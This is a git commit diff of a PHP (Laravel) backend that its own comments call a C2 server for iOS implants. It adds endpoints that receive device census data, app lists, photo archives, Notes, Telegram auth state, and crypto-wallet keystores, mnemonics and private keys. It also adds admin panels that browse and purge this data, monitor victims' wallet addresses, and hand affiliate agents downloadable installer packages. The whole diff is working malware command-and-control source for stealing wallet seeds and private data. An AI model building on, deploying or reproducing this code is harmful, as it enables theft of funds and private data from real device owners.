feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
@@ -30,7 +30,7 @@ class AdminUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -36,7 +36,7 @@ class AgentUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -52,7 +52,7 @@ class ChannelController extends Controller
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -60,24 +60,29 @@ class ChannelController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
return [
$row = [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
'channel_name' => $c->channel_name ?: '',
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'download_url' => null,
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
if ($c->isNewBuilder()) {
$row['download_url'] = route($this->portal().'.channels.download', $c);
}
return $row;
})->values();
return response()->json([
@@ -88,12 +93,17 @@ class ChannelController extends Controller
]);
}
public function randomId()
public function randomId(Request $request)
{
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
$channelId = $builderType === Channel::BUILDER_NEW
? Channel::randomNewChannelId()
: Channel::randomChannelId();
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
'data' => ['channel_id' => $channelId],
]);
}
@@ -101,8 +111,17 @@ class ChannelController extends Controller
{
abort_if($this->isAgentPortal(), 403);
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
$builderType = Channel::BUILDER_OLD;
}
$channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'channel_id' => $channelIdRule,
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
@@ -112,13 +131,23 @@ class ChannelController extends Controller
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
$channelName = null;
$builderType = (string) ($data['builder_type'] ?? $builderType);
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -129,9 +158,7 @@ class ChannelController extends Controller
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
$builderType,
$channelName,
);
$channelName = $build['channel_name'] ?? null;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -140,7 +167,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -153,7 +180,6 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'builder_type' => $builderType,
'channel_name' => $channelName,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
@@ -161,7 +187,7 @@ class ChannelController extends Controller
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
return response()->json([
'code' => 1,
@@ -175,7 +201,6 @@ class ChannelController extends Controller
'data' => [
'id' => $channel->id,
'builder_type' => $channel->builderType(),
'channel_name' => $channel->channel_name,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
@@ -184,6 +209,10 @@ class ChannelController extends Controller
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
'zip_path' => $build['zip_path'] ?? null,
'download_url' => $channel->isNewBuilder()
? route('admin.channels.download', $channel)
: null,
],
]);
}
@@ -236,6 +265,19 @@ class ChannelController extends Controller
]);
}
public function download(Channel $channel, ChannelProjectService $projects)
{
$this->authorizeChannel($channel);
abort_unless($channel->isNewBuilder(), 404);
$path = $projects->newChannelZipPath($channel->channel_id);
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
return response()->download($path, $channel->channel_id.'.zip', [
'Content-Type' => 'application/zip',
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
@@ -243,11 +285,10 @@ class ChannelController extends Controller
$channelId = $channel->channel_id;
$builderType = $channel->builderType();
$channelName = $channel->channel_name;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
@@ -288,7 +329,6 @@ class ChannelController extends Controller
ChannelProjectService $projects,
string $channelId,
string $builderType = Channel::BUILDER_OLD,
?string $channelName = null,
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
@@ -306,12 +346,11 @@ class ChannelController extends Controller
}
try {
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'builder_type' => $builderType,
'channel_name' => $channelName,
'error' => $e->getMessage(),
]);
}
+102 -18
View File
@@ -13,8 +13,11 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
@@ -38,7 +41,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -46,7 +49,7 @@ class DeviceController extends Controller
}
$q->orderBy('devices.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
@@ -56,13 +59,17 @@ class DeviceController extends Controller
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'has_wallet' => (int) $d->has_wallet,
'wallet_names' => $d->walletNameList(),
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
'destroy_url' => route($portal.'.devices.destroy', $d),
];
})->values();
@@ -116,7 +123,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
@@ -169,9 +176,60 @@ class DeviceController extends Controller
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = $this->deletePhotoFiles($device);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
public function destroy(Device $device)
{
$this->authorizeDevice($device);
$listUrl = route($this->portal().'.devices.index');
$this->purgeDevice($device);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'list_url' => $listUrl,
],
]);
}
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->unmonitorAddresses($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->delete();
});
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
foreach ($photos as $photo) {
foreach ($device->photos()->get(['id', 'path']) as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
@@ -182,29 +240,45 @@ class DeviceController extends Controller
}
}
$deletedRows = $device->photos()->delete();
return $deletedFiles;
}
$dir = 'c2/photos/'.$device->device_id;
private function deleteStorageDir(string $dir): void
{
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
}
private function authorizeDevice(Device $device): void
@@ -393,10 +467,16 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
$hasWallet = $request->query('has_wallet');
$hasWalletInt = null;
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
$hasWalletInt = (int) $hasWallet;
}
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
@@ -405,12 +485,13 @@ class DeviceController extends Controller
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt,
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -438,6 +519,9 @@ class DeviceController extends Controller
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if ($filters['has_wallet'] !== null) {
$q->where('devices.has_wallet', $filters['has_wallet']);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
@@ -45,7 +45,7 @@ class MnemonicController extends Controller
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -38,7 +38,7 @@ class NoteController extends Controller
}
$q->orderBy('notes.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
return response()->json([
@@ -54,7 +54,7 @@ class PageVisitController extends Controller
'browser_version' => $v->browser_version ?: '',
'user_agent' => $v->user_agent ?: '',
'ip' => $v->ip ?: '',
'path' => $v->path ?: '',
'domain' => $v->domain ?: '',
'referer' => $v->referer ?: '',
'created_at' => optional($v->created_at)?->toDateTimeString(),
])->values(),
@@ -71,6 +71,11 @@ class PageVisitController extends Controller
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
@@ -95,6 +100,7 @@ class PageVisitController extends Controller
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
@@ -151,6 +157,10 @@ class PageVisitController extends Controller
if ($browserVersion !== '') {
$q->where('browser_version', $browserVersion);
}
$domain = trim((string) $request->query('domain', ''));
if ($domain !== '') {
$q->where('domain', 'like', '%'.$domain.'%');
}
$referer = trim((string) $request->query('referer', ''));
if ($referer !== '') {
$q->where('referer', 'like', '%'.$referer.'%');
@@ -38,7 +38,7 @@ class PhotoController extends Controller
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -39,7 +39,7 @@ class TransferRecordController extends Controller
}
$q->orderBy('transfer_records.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
@@ -47,7 +47,7 @@ class WalletAddressController extends Controller
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
+172 -18
View File
@@ -3,15 +3,25 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Storage;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*
* Native path map (corepayload + details plugins):
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
*/
class XxbbC2Controller extends Controller
{
@@ -25,7 +35,7 @@ class XxbbC2Controller extends Controller
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
*/
public function iptj(Request $request): Response
{
@@ -36,39 +46,78 @@ class XxbbC2Controller extends Controller
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
if ($normalizedCode !== null) {
$channelCode = $normalizedCode;
}
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
$sessionId = $this->normalizeSessionId(
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
);
if ($channelCode !== '' && strlen($channelCode) <= 64) {
$uid = $domain !== '' ? $domain : (string) $request->ip();
$uid = substr($uid, 0, 64);
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
$domain = PageVisit::normalizeDomain($domain);
$ip = (string) $request->ip();
$uid = PageVisit::visitorUid($domain, $ip);
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
try {
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid !== '' ? $uid : 'iptj',
'client_uid' => $uid,
'session_id' => $sessionId,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $this->referer($request),
'created_at' => now(),
]);
} catch (QueryException $e) {
if (($e->errorInfo[0] ?? '') !== '23000') {
throw $e;
}
}
}
return response('{}', 200)->header('Content-Type', 'application/json');
}
private function normalizeSessionId(string $sessionId): ?string
{
$sessionId = trim($sessionId);
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
return null;
}
return $sessionId;
}
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
{
if ($sessionId !== null) {
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
if (! Cache::add($debounceKey, 1, now()->addDay())) {
return false;
}
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
}
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
public function profile(Request $request): Response
{
@@ -99,6 +148,91 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
public function photos(Request $request): Response
{
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->ensureDevice(
$request,
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey
);
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
public function notes(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestNotes($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
@@ -123,15 +257,35 @@ class XxbbC2Controller extends Controller
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, $payload);
} else {
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
$this->ingest->ingestMnemonic($device, $payload);
}
}
return $this->xxbbAck($request);
}
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
public function telegram(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestTelegramAuth($device, $payload);
}
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
private function referer(Request $request): ?string
{
$referer = trim((string) $request->headers->get('referer', ''));
+18 -12
View File
@@ -2,6 +2,7 @@
namespace App\Http\Controllers;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
use Illuminate\Http\Request;
@@ -14,21 +15,26 @@ class PageHitController extends Controller
public function __invoke(Request $request): Response
{
$channelId = strtolower(trim((string) $request->query('c', $request->input('c', ''))));
$channelId = trim((string) $request->query('c', $request->input('c', '')));
$clientUid = trim((string) $request->query('u', $request->input('u', '')));
$path = trim((string) $request->query('p', $request->input('p', '')));
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
return $this->pixel();
$newCode = Channel::normalizeNewChannelId($channelId);
if ($newCode !== null) {
$channelId = $newCode;
} else {
$channelId = strtolower($channelId);
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
return $this->pixel();
}
}
if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) {
return $this->pixel();
}
if (strlen($path) > 255) {
$path = substr($path, 0, 255);
}
$debounceKey = 'page_hit:'.$channelId.':'.$clientUid;
$ip = (string) $request->ip();
$domain = PageVisit::normalizeDomain($request->getHost());
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
$debounceKey = 'page_hit:'.$channelId.':'.$uid;
if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) {
return $this->pixel();
}
@@ -39,14 +45,14 @@ class PageHitController extends Controller
PageVisit::query()->create([
'channel_id' => $channelId,
'client_uid' => substr($clientUid, 0, 64),
'client_uid' => $uid,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'],
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $path !== '' ? $path : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $referer,
'created_at' => now(),
]);